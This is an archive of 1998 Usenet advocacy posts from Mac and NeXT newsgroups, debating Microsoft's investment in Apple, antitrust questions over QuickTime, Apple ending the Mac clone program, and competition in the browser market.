>The version I relate is precisely the version which occurred. Your
>rendition is merely revisionism.
Ahh!! The very clever "Did so! Did not!" defense.
Can someone please compare Steve Jobs to Hitler and kill this thread?
for my witty repartee, weren't you? I
would hate to think this was some odd attempt to discredit me by calling me a
clown. Such comments from you would be unprecedented.
you don't have to use it.
I've already bought it, and; now they want to change the rules! What if
you bought a car, and then two years down the road a man from Ford shows
up and says that from now on you can only refill at Exxon? Don't you think
you would be upset? You didn't agree to that condition and now you have
someone unilaterally amending your agreement. What if the guy from Ford
reset the radio to only pick up stations that Ford has endorsement
agreements with?
>If you had a Burger King franchise, wouldn't it be appropriate for them to
>restrict the soft drink you sell to the brand they have contracted with or,
>let's say, to their own?
BK can not claim to offer me any choice of drink I want, and then restrict me
after I pay. This is what MS has been doing.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 15:37:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72k83q$caq@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com>
On Thu, 12 Nov 1998 11:13:20 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>> >when the
>> >deal went through and Apple got both its money and its browser and
>> >Quicktime is still very much around.
>>
>> This sounds like some kind of MS apologist spiel.
>
>Spoken with the blindness of a true Mac "Microsoft Hater."
I am hardly a "Microsoft Hater" and I am most certainly not a "blind"
Mac user. I don't even own a Mac.
Personally, I find blind hatred of Apple just as silly as blind love
of Apple. I have criticized Apple in the past, and will do so in the
future. At the same time, I will defend Apple when someone posts FUD.
I've done the same for Microsoft.
> Only such a
>person could call $150 million,
A payoff, not a gift.
When you get a parking ticket, does your local DMV consider it a gift?
>You deliberately ignore the facts in evidence (actually you pretend they
>never happened or else that they meant nothing) and you concentrate on
>spurious pieces of email, instead. The fact that Quicktime is still here
>also means nothing to you. Amazing.
The issue is not Quicktime, it is MS's actions in attempting to kill QT.
You keep dodging that fact.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 15:37:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72k83v$caq@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72i693$e69$2@coward.cc.utah.edu> <364CAFDB.60B37BB1@exu.ericsson.se>
On Fri, 13 Nov 1998 16:16:59 -0600, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
>mgiddings@nospam.ypc.net wrote:
>> I'm sorry. You failed. Try again. This time complete the lesson before
>> spouting off. In particular, study the part about the fact that neither
>> Apple nor MS is BAD (or good), but if one of them breaks the law, then it
>> needs to be dealt with.
>This isn't about pre-existing law, it's about law creation.
Huh? It is about _existing_ antitrust law. Those laws have been around for
a while.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 15:37:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72k841$caq@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <364C7F15.42A8C263@spamtoNull.com>
On Fri, 13 Nov 1998 13:48:53 -0500, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
>> But was Apple's cloning move illegal?
>Yes, and the cloners who thought so and were prepared to take action
>were bought off. Remember the cool $100,000,000 or so Apple paid Power
>Computing for its mailing list?
*boggle*
You agree that Apple's actions when they shut down thier cloners was
wrong, but you don't think MS's actions in attempting to shut down
QuickTime was wrong? Do you really think that it is ok to attempt a
crime, as long as you don't succeed?
I find that logic hard to understand.
From: "Lloyd Dupont" <lloydd@club-internet.fr>
Newsgroups: comp.sys.next.advocacy
Subject: Re: About GNUstep (was Re: About Linux, and OS-X)
Date: Sat, 14 Nov 1998 01:31:05 +0100
Organization: Club-Internet (France)
Message-ID: <72ij0o$cqc$1@front2.grolier.fr>
References: <x7r9vrjkyo.fsf@loathe.com> <cdoutyF1Ly5y.DJG@netcom.com> <1dhqsyn.19afnt81d608n0N@ascend-tk-p129.rhrz.uni-bonn.de> <71llog$l6v$6@blue.hex.net> <F1utE0.7r6@T-FCN.Net> <F1vC53.FHv@basil.icce.dev.rug.null.nl> <F1x2zp.Hup@T-FCN.Net> <1di9200.acou6p2gct0nN@ascend-tk-p87.rhrz.uni-bonn.de>
NNTP-Posting-Date: 14 Nov 1998 00:31:20 GMT
but i wonder ? where can you get Mac OS X ? or yellow box ?
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac+Linux: "amazingly great" part II
Date: 14 Nov 1998 15:32:30 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <72k7qe$8m9@btmpjg.god.bel.alcatel.be>
References: <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net>
Sheldon Gartner writes
> It's driving me crazy that Apple is dropping the ball on Linux. I've
> heard that Apple could provide "Yellow Box" for Linux....What exactly
> _is_ Yellow Box, anyway. (And will OSX run Linux software and
> vis-versa?) And could it make Linux easier for newbies?
Yellow Box is KDE + GNOME + a better programming language
based on ANSI C (better than C++) + a great IDE and all that
complete and mature and in use for years and with great feature
depth and a lot of powerful and easy-to-use applications.
It just won't happen.
Yours,
--
Ralf.Suckow ------------------------
@bln.sel.alcatel.de | All opinions are mine.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 11:43:58 -0500
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"Anthony D. Tribelli" wrote:
>
> The retail CD for WinNT 4 has the binaries to support x86, Alpha, PowerPC,
> and MIPS CPUs. That strongly suggests that Microsoft is not dependent on
> Intel at all, that their code base is portable. Microsoft if free to go to
> whatever hardware platform the public shows interested in. Intel has the
> more difficult job of getting the public to show interest in their
> particular hardware platforms. An example Merced alternative would be
> Alpha, especially since FX32! has shown pretty good support for existing
> x86 Win32 binaries.
>
Let's talk some numbers. The first generation of Merced will have a
hardware, on-chip X86 instruction set along with the primary risc core.
This means it will be backwards-compatible with X86 software *in
hardware*. Supposedly the second-gen Merced will drop the hardware X86
support and move completely to software emulation for X86, presumably
because the second-gen Merced will be fast enough so that the software
emulation will equal the speed of the first-gen's hardware X86 support.
By last count, NT was selling somewhere around 750,000 to 1.5 million
copies per year, world-wide. By contrast, the X86-dependent Win95/win98
market world wide is running at about 30 million to 50 million copies
per year. So I think it's fair to state that Microsoft's X86 Win95/Win98
market is 30 to 50 times the size of its current NT market. Why on earth
do you think that Microsoft is doing "Windows 2000"? In Win2000, NT and
Win95/98 merge into one single operating system. DOS support will be at
last forever dropped, but that certainly doesn't mean X86 support will
be.
It's estimated that right now there are some 200,000,000 Windows/DOS
machines in current operation around the world. By 2000 it could well be
250,000,000 or more. All of these people are going to own a *bunch* of
X86 dependent software. They aren't going to want to drop that software,
and they aren't going to want to use software emulation right away,
either. If MS supports at least the X86 side of Merced's first gen cpus,
they've got a virtual springboard into the future. And, when Merced is
first released, it'll probably take a year to enter the mainstream
markets, and another couple of years after that to dominate them. Along
with Merced, Intel will be selling a ton of very fast PII's with much
improved FPU and MMX code, along with much faster on-board L2s.
Last, among all of the other cpu-makers, which of them can boast Intel's
record of production and meeting demand? Certainly, Intel has had its
share of production problems in the past. But compared to the major
snafus and glitches in the past from Motorola, AMD, and Cyrix, Intel's
past problems actually look good.
IF you don't think Microsoft has been dependent on Intel, just count the
number of X86 machines in current use running Windows (NT included),
then count the total of all of the other cpu-makers combined, and
compare the two. The math is elementary. My own opinion is that if
Microsoft were to leave the Wintel market the company would probably
never recover. You can believe that Microsoft knows this very well.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 11:58:45 -0500
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"Todd Heberlein (todd at NetSQ dot com)" wrote:
>
> Good time for a quote I've been wanting to post.
>
> "Compared to today, companies took their time in product development. ...
> Apple unveiled the Macintosh computer in 1984, and 14 years later, it had
> yet to deliver any breakthrough changes to its software technology."
>
> Competing on Internet Time
> Lessons from Netscape and
> its Battle with Microsoft
> pg. 4.
>
> FYI: Microsoft tried to force the authors to hand over their notes and
> tapes for the book for the current Microsoft/DOJ trial, but the courts
> sided with the authors.
>
I did read something about that. It is very interesting. It also brings
to mind some well publicized quotes I recall from Jobs and other people
at Apple a while back concerning "Milking the Mac architecture" as a
viable marketing goal for the near term. I would think this means using
lots of hype interspersed with superficial and superfluous hardware/OS
changes. That would certainly seem congruent with what we've seen in the
last couple of years.
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sat, 14 Nov 1998 17:27:23 GMT
Organization: Monmouth Internet
Message-ID: <364dbd37.42187332@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <3648abc2.502343982@news.monmouth.com> <72e6pn$mun$1@52-a-usw.rb1.blv.nwnexus.net> <364c4f66.172317930@news.monmouth.com> <72htho$dk8$1@52-a-usw.rb1.blv.nwnexus.net>
tzs@halcyon.com (Tim Smith) wrote:
<snip>
>around page 174, where Jack Sams of IBM, says "Bill told us if we wanted a
>16-bit CP/M, we would have to deal with Kildall. We said 'oops.' We had
>really only wanted to deal with one person. Byt now we had to talk to Kildall.
>I asked Bill if he would make an appointment for us.")
Strange, that's not Bill sending them to DR.. That's Bill saying that he
doesn't own CPM.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 17:28:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72keje$dud@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net>
On 14 Nov 1998 07:53:50 GMT, Chad Irby <cirby@magicnet.net> wrote:
>adt@netcom.com (Anthony D. Tribelli) wrote:
>> What legal agreement did the cloners violate?
>In the original agreements, the cloners were supposed to make an effort to
>extend the Mac franchise beyond Apple's normal sales market. They
>didn't. Almost all of their ads were in Mac-oriented publications, which
>meant that their entire campaign was aimed at taking sales from Apple.
I was not aware of any contractual obligation by the cloners to do anything
other than to pay a licensing fee for every Mac clone sold. AFAIK, they
were doing that.
When it became clear that cloning was not growing the market share, the only
reason it wasn't killed was out of fear of negative publicity. Apparently,
Steve Jobs doesn't give a rats ass if anyone likes or dislikes him. I don't
anyone will look back at _how_ cloning was killed as an example of Jobs
being an effective leader. By putting Apple's survival ahead of his own
reputation, and making an unpopular but necessary decision, I think he did a
lot to show his dedication toward seeing Apple survive.
>You can be a monopoly all you want, as long as you don't use that monopoly
>to damage other companies intentionally. To quote Stan Lee, "With great
^^^^^^^^^^^^^
>power comes great responsibility."
I think that is the most important word in that quote.
From: WStreett@shell.monmouth.com (Wilbur Streett)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Sat, 14 Nov 1998 17:30:10 GMT
Organization: Monmouth Internet
Message-ID: <364dbdec.42368292@news.monmouth.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <935681C33D3E3A16.6DEC2EC60DE57E5D.DEAC9FAC3078F03E@library-proxy.airnews.net> <3649A58E.A3BE88BC@ieee.org> <3649BD77.4699D073@ix.netcom.com> <slrn74kqlg.sri.cbbrowne@godel.brownes.org> <364A923D.1E5D1B7D@ix.netcom.com> <364AEF59.3B9@xixaxsxtxaxtxex.xexdxu> <364BC7B4.2B3BD85A@ix.netcom.com> <364C445E.6777@xixaxsxtxaxtxex.xexdxu>
Jonathan <jxoxnxvxwxixlxlx@xixaxsxtxaxtxex.xexdxu> wrote:
>The problem I see is that the full, immediate disclosure in Open Source
>products allows some company to claim it was developing the same thing
>up to a year before. Granted, the forgery might be difficult, but could
>be done. Is there some way for Open Source projects to get around this?
All of the Internet patents involving searches, etc.. are actually file
system operations that occur across the Internet rather than on the local
file system. Yet they were are all awarded..
Wilbur
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quickdraw GX
Date: 14 Nov 1998 15:37:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72k844$caq@news1.panix.com>
References: <364B3C3B.A002CB5@tone.ca>
On Thu, 12 Nov 1998 14:51:25 -0500, Michael <michael@tone.ca> wrote:
>Lawson, do you have any inside info that might lead you to believe that
>eQD might owe a little more to QDGX than Apple is letting on? Just
>wondering.
Seeing how it is very well documented that eQD is based on PDF, and that
PDF uses the PostScript image model, I don't think that will be GX based.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 12:56:57 -0500
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"Todd Heberlein (todd at NetSQ dot com)" wrote:
>
> Most people wouldn't care about Microsoft's monopoly in operating
> systems if it didn't try use use that monopoly to kill other markets.
> Remember, having a monopoly is *not* illegal.
I can certainly go along with this, provided regular, run-of-the-mill
hardball competition isn't construed to mean "using monopoly power to
kill other markets." For instance, I've heard it said that Microsoft is
wrong to offer lower-priced bulk-buying deals that have restrictions on
them that Microsoft's higher-priced bulk deals don't have. Yet as far as
I can see, such bulk-buying conditional offerings are *routine* in other
industries. Coca-Cola and Pepsi, for instance, constantly cook up deals
for supermarket chains where the supermarkets get lower prices simply
for placing the soft drinks in certain areas of the store. There are a
lot more examples I could give of other companies doing exactly what
Microsoft is being accused of in routine dog-eat-dog business dealings
every day. Serious business competition doesn't spell "illegal" to me.
>
> Remember, "Mozilla" stood for Mosaic killer.
I had forgotten. Thanks for reminding me...:)
>
> Furthermore, once you have major market share, you can tie it to your
> other products. For example, a web server that support SSL for secure
> transactions.
This was the strategy Netscape announced a long time ago--to get the
browsers out there and then sell the server software.
>
> > I'm not sure you have a firm grasp on the nature of the Internet.
> > Its very nature, indeed, its very attraction, is that it is
> > "uncontrolled" and anybody who wants can "browse" it at will.
>
> Remember when all those web pages started making heavy use of tables?
> All those people with Mosaic were left out in the cold, or they had to
> move to Netscape. And people with a computer without Netscape (e.g.,
> DEC Ultrix) were screwed.
This is where we have to disagree completely, I think. While these
vendors may well wrestle for control of the *form* in which the
information is presented on the Internet, they cannot control the
*information itself* and they cannot control my access to it. Lots of
people still browse in text mode, believe it or not. They are after the
information, the form of its presentation doesn't interest them.
On the other hand, I don't see anything wrong with developing standards
for Internet information presentation. This greatly simplifies both
browser design and web-page design. How are "standards" for any
technology developed? Usually it's through competition which results in
a "winning standard" and a "losing standard" (as happened during the
Betamax vs. VHS wars.) The end result is a benefit to consumers since
standards are finally set and other companies can begin to compete on
the standard basis.
However, as long as Netscape and Microsoft continue to give their
browsers away at a loss, I can't see how any other companies will
compete in the browser market. I don't see how the DOJ can fault
Microsoft for giving away IE when Netscape is doing the same thing. If
anything, I'd prefer to see the government declare that both companies
must charge an amount for their browsers equal to at least their
development costs plus a small profit. Microsoft could continue to
bundle IE with Windows, provided it charged a price for Windows equal to
the Windows price + the browser price.
Unfortunately, since both companies have been giving their browsers away
for several years, and IE and Netscape already proliferate the market,
that solution might accomplish nothing except to further exacerbate the
situation.
>
> Microsoft wants to be in that position, but they can only get there by
> having a large market share. Microsoft is pulling out all the stops to
> get this market share: giving it away free, striking "default browser"
> contracts with Apple and AOL (often using additional inducements), and
> quite frankly spending a lot of money to create a good browser.
Again, I can see nothing here that Netscape isn't doing. Netscape was
vying for the AOL deal. Is there some unilateral, specific reason that
AOL should have chosen Netscape over IE? Or, isn't it fair to say that
Microsoft sweetened the pot a bit more than Netscape, and so won the
deal on the basis of completely legal and fair competition? Remember the
Coke and Pepsi situation--this sort of thing goes on all the time in
other industries. Company A offers Company C a little bit better deal
than Company B offers Company C, and Company A is awarded the contract.
People are essentially saying that Microsoft isn't entitled to win
contracts based on competitive strategies--because every time Microsoft
wins a contract it's the same old--"They won illegally" line that I
hear. Sounds more like sour grapes to me.
>
> Today, because neither company has a dominant position, most sites make
> sure their sites are compatible with both Netscape and Microsoft. This
> was *not* the case when Netscape had 90% share, and it probably won't
> be if one company gains that type of market share again.
Yes, but as I recall, Microsoft adopted many of the standards Netscape
had been using when it built IE, so that its browser would become
useful.
>
> Today's market is probably an abberation.
I think it's probably more that Netscape and Microsoft have been on a
"copy and one-up-you" strategy for a long time--so that the functions
they include are actually very similar. Microsoft came in with IE and
built its browser to "one-up" Navigator in a Navigator-dominated
Internet, then Netscape responded with the first Communicator suite that
did what IE did and more, and so on and so on. Looks like good old
fashioned competition to me...
>
> Giving more people access to a consistent capability and API (e.g., for
> RealAudio to code to) is a necessary step. If one company has 90%
> market share, web sites will develop (often exclusively) for that
> platform. If you want to develop value added capability to the
> Internet (e.g., QuickTime) you are at the control of the company with
> 90% market share.
It is a fact in evidence though that even though Microsoft has 90% of
the X86 OS market, it enjoys 50% or less of the browser market--the rest
going to Netscape. Would Netscape be in a better position if there were
no IE and Netscape had no competition? Of course. But that's not
something any of us would like to see, right? Netscape would then be the
"gatekeeper" (Although I still don't think the definition applies since
there is nothing inherent in either Communicator or IE which can do
anything but shape the *form* of the information presented on the
Internet. I can find nothing in either that would shape the *content* of
the information there, or its availability.)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 18:31:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72ki9d$f04@news1.panix.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364CA67E.6C5A5121@exu.ericsson.se> <72i693$e69$2@coward.cc.utah.edu> <72ih1n$3ig$1@nnrp1.dejanews.com>
On Fri, 13 Nov 1998 23:57:43 GMT, Charles Swiger <chuck@codefab.com> wrote:
>and Apple. JH, MJP: do yourselves a favor and just read what he says, and try
>not to let your preconceptions prevent you from recognizing the validity of M.
>Giddings' article.
Careful Chuck, you are likely to be branded a "mindless Apple zombie". After
all, Apple (and Steve Jobs) is <dramatic chord> so evil </dramatic chord> that
anyone who isn't bashing them at every turn is obviously under some kind of
hypnotic control.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 13:20:25 -0500
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Chad Irby wrote:
>
>
> In the original agreements, the cloners were supposed to make an effort to
> extend the Mac franchise beyond Apple's normal sales market. They
> didn't. Almost all of their ads were in Mac-oriented publications, which
> meant that their entire campaign was aimed at taking sales from Apple.
Again, can you produce the text of the agreements that spells out
precisely what was agreed to and precisely how the cloners were supposed
to have done this and precisely how they failed to do it?
I didn't think so...:) What you are parroting is merely one of the
mealy-mouthed excuses Apple gave when it destroyed the cloning program.
It's not the truth, and it's surprising that you evidently have merely
accepted it as true without even thinking about it.
First, these fledgling clone companies were *small* compared to
Apple--"tiny" might be more appropriate. At the *peak* of the cloning
cycle, all of the cloning companies combined took a *maximum* of 20% of
the Mac market. That means that even at that time Apple enjoyed 80% of
the Mac-market machine sales--eight out of ten Apple compatibles sold
during the peak of the clone sales were sold by *Apple* and not by clone
companies.
How on earth do you think these tiny, struggling companies would have
the *resources* to do massive ad campaigns in PC magazines and other
general interest magazines, so as to "expand the Mac market as a whole"
which would not only benefit them but *Apple* as well? Simply put, Apple
had and ate the lion's share of Mac revenues even at the peak of the
cloner's influence. Obviously, you don't think that it should have been
*Apple* which had the responsibility of "extending the Mac market beyond
Apple's normal sales markets." It's amazing you can't see what a flawed
viewpoint that is. What do you think the bulk of Apple's ad resources
are targeted to now, if not "expanding the Mac market beyond its present
size?"
The clone companies enjoyed their small successes in spite of Apple, not
because of Apple. The were bringing better products to market faster
than Apple and *that's why* they took sales from Apple and *that's why*
Apple killed them off. Apple is a company which cannot abide
competition.
>
> That's the fun part of antitrust law. Microsoft had no real obligation to
> keep selling Office and the other apps. They could have discontinued it
> at any time. *However*, once they used the threat of killing Office to
> try and get Apple to do something, they crossed the line into "abusive
> monopoly."
Aside from some scanty emails and some paranoid testimony by a paranoid
Tevanian, there is absolutely no evidence that MS ever did that. As I've
said before, the actions Microsoft actually took out in the open stand
in stark contrast to these dark and forboding ramblings.
>
> You can be a monopoly all you want, as long as you don't use that monopoly
> to damage other companies intentionally. To quote Stan Lee, "With great
> power comes great responsibility."
>
Tell that to Steve Jobs and ask the Mac clone companies what *they*
think about the issue...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 15:43:04 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <72k8e8$cdf@news1.panix.com>
References: <72d7ep$2mk@newsb.netnews.att.com> <364A66ED.19E94AF6@exu.ericsson.se> <72dt95$346@news1.panix.com> <edewF2DtGq.KI4@netcom.com>
On Fri, 13 Nov 1998 22:36:26 GMT, Eric Dew <edew@netcom.com> wrote:
>It is not rare that a jock would beat up a "girlfriend" for flirting with
>other guys, particularly geeky looking guys.
Assault is a crime. I'm not aware of MS using a goon squad to threaten
their competition, so I don't think this analogy works.
> Didn't you see Revenge of the
>Nerds? :-)
No. I never liked high school movies, so I must have skipped that one.
(With the possible exception of Heathers. And the ones with Molly Ringwald.)
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 14 Nov 1998 19:29:45 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1411981429060001@pm61-16.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > In the original agreements, the cloners were supposed to make an effort to
> > extend the Mac franchise beyond Apple's normal sales market. They
> > didn't. Almost all of their ads were in Mac-oriented publications, which
> > meant that their entire campaign was aimed at taking sales from Apple.
>
> Again, can you produce the text of the agreements that spells out
> precisely what was agreed to and precisely how the cloners were supposed
> to have done this and precisely how they failed to do it?
No. But can you produce the text of the lawsuits that those companies
would have filed versus Apple if *your* side was correct?
> First, these fledgling clone companies were *small* compared to
> Apple--"tiny" might be more appropriate.
Let's see... UMAX is a fairly huge industrial conglomerate (making a lot
more than just computers and scanners), and hardly "tiny" under any
definition. Motorola is, by any measure, much larger than Apple, and
holds the keys to Apple's core business due to their production of most of
the PPC chips.
"Small and tiny?" Right.
> At the *peak* of the cloning
> cycle, all of the cloning companies combined took a *maximum* of 20% of
> the Mac market. That means that even at that time Apple enjoyed 80% of
> the Mac-market machine sales--eight out of ten Apple compatibles sold
> during the peak of the clone sales were sold by *Apple* and not by clone
> companies.
That's right. But it's more complex than that. Most of those clone
machines were in the higher-end category, with faster processors and
better accessories. In other words, they were competing with Apple's
high-end computers, and eating away at the area where Apple has
historically made the most profit. Not to mention that there were tying
up some of the "fast" PPC stocks, right when Apple needed all they could
get to supply their production lines.
> How on earth do you think these tiny, struggling companies would have
> the *resources* to do massive ad campaigns in PC magazines and other
> general interest magazines, so as to "expand the Mac market as a whole"
> which would not only benefit them but *Apple* as well?
Motorola. UMAX. Not tiny. Remember that. And even a relatively "tiny"
company like Power Computing had multi-page ads in all of the Mac
magazines, but for some reason they couldn't pt ads into the corresponding
PC magazines.
Your whole argument is that the cloners were tiny little Mom-n-Pop
organizations, while it's really obvious that they weren't.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Sat, 14 Nov 1998 11:15:00 -0500
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mgiddings@nospam.ypc.net wrote:
>
> Business lesson number one: no major corporation does things like spending
> $150 million on shares of a competitor out of "kindness" or on a "whim",
> whether it is Steve Jobs or the Dali Lama or anyone else asking. They do
> it for a business reason. I hope that concept is not too difficult for you
> to grasp. If it is, study for a while and return. Restated with less
> words (I know too many words can be confusing): "corporations act out of
> self interest, not benevolence".
Much as I appreciate your effort at providing "business lessons", I have
to say that apparently you have misconstrued the thrust of the main
points I was trying to make re: this issue.
My response to this thread was chiefly in reply to one person who quite
erroneously believed that MS was *forced* to do what it did with Apple
because Apple had MS over some sort of barrel. This, of course, couldn't
be further from the truth, as I tried to point out. Further, my
responses were to the suggestion that the MS-Apple deal was something
"Microsoft quickly settled" when in fact it was Apple, under Steve Jobs,
that actually moved events toward a quick climax and settlement. As I've
noted, under Amelio any settlement in the suit had gone nowhere, and as
Amelio has said he was "holding out for much more" we can easily see why
the negotiations had bogged down to a complete standstill. Jobs came in
and was much more malleable on settlement terms and the two parties
quickly reached agreement.
And, as I have taken great pains to point out, *both* parties benefitted
from the settlement. This is typical in "settlements" which avoid trial.
Allow me to summarize benefits to each:
Microsoft
(1) Apple dropped all claims of past patent infringement against
Microsoft forever (they can never be raised again.)
(2) The agreement specifically stipulates that the settlement is *not*
the result of *any* wrongdoing on the part of Microsoft for any
previously Apple-alleged patent infringements.
(3) Apple and Microsoft initiated a five year cross-licensing agreement
in which they agree to cross-license their software technologies for
that period. This eliminates the "patent infringement" issue being
raised as a future dispute over current or future technology. Microsoft
will be able to license and use Apple software technology for five
years.
(4) The major portion of the Microsoft investment was in Apple stock,
which, after three years Microsoft may sell if it chooses to do so. If
current stock values hold, Microsoft might well double its money.
(5) The preservation of an Apple market for its Office software, which
will bring in some 300-600 million dollars per year based on current
sales levels.
(6) A savings of tens of millions of dollars in legal fees it would have
spent in its defense of the suit with no guarantee of victory.
Apple:
(1) A cash infusion of $150 million in cash, at a time when Apple sorely
needed the money (a lot of Apple's assets were in non-cash form).
(2) The publicity benefits of Microsoft (and Gates personally) publicly
backing and supporting Apple at a time when Apple desperately needed
this publicity. The positive benefits of this action in the 95% of the
computer industry which is non-Apple cannot be estimated. It had a huge
impact on many people's reassessment of Apple.
(3) Say what you will about Apple "doing Netscape dirty" by placing IE
as the "default" browser and shipping it with all new Macs, but I didn't
see Netscape standing up to deliver $150 million into Apple's hands, and
Netscape's development support for the Mac was really paltry compared to
what it was spending on Windows browser development. I actually agree
with Jobs 100% here.
(4) A public commitment by Microsoft to "step up" and continue its
Mac-specific development on Office and browser products. I remember well
the publicity from Redmond about the "150 engineers devoted solely to
Mac software development" Microsoft played up, and all about the
"Mac-specific" features that would be found in the newer versions of Mac
Office software. This was a tremendous coup to Apple's sales prospects
at the time. It's hard to estimate the positive effect it had.
(5) The cross-licensing agreement with Microsoft means that for five
years Apple can license Microsoft technology. This allows Apple to shift
a part of its R&D to Microsoft. Playing shrewdly, Apple can suggest
really "cool" features to Microsoft and actually have Microsoft develop
them *for* Apple where they will then be available for use by Apple
licensing.
(6) Microsoft must hold its Apple stock for three years, thereby
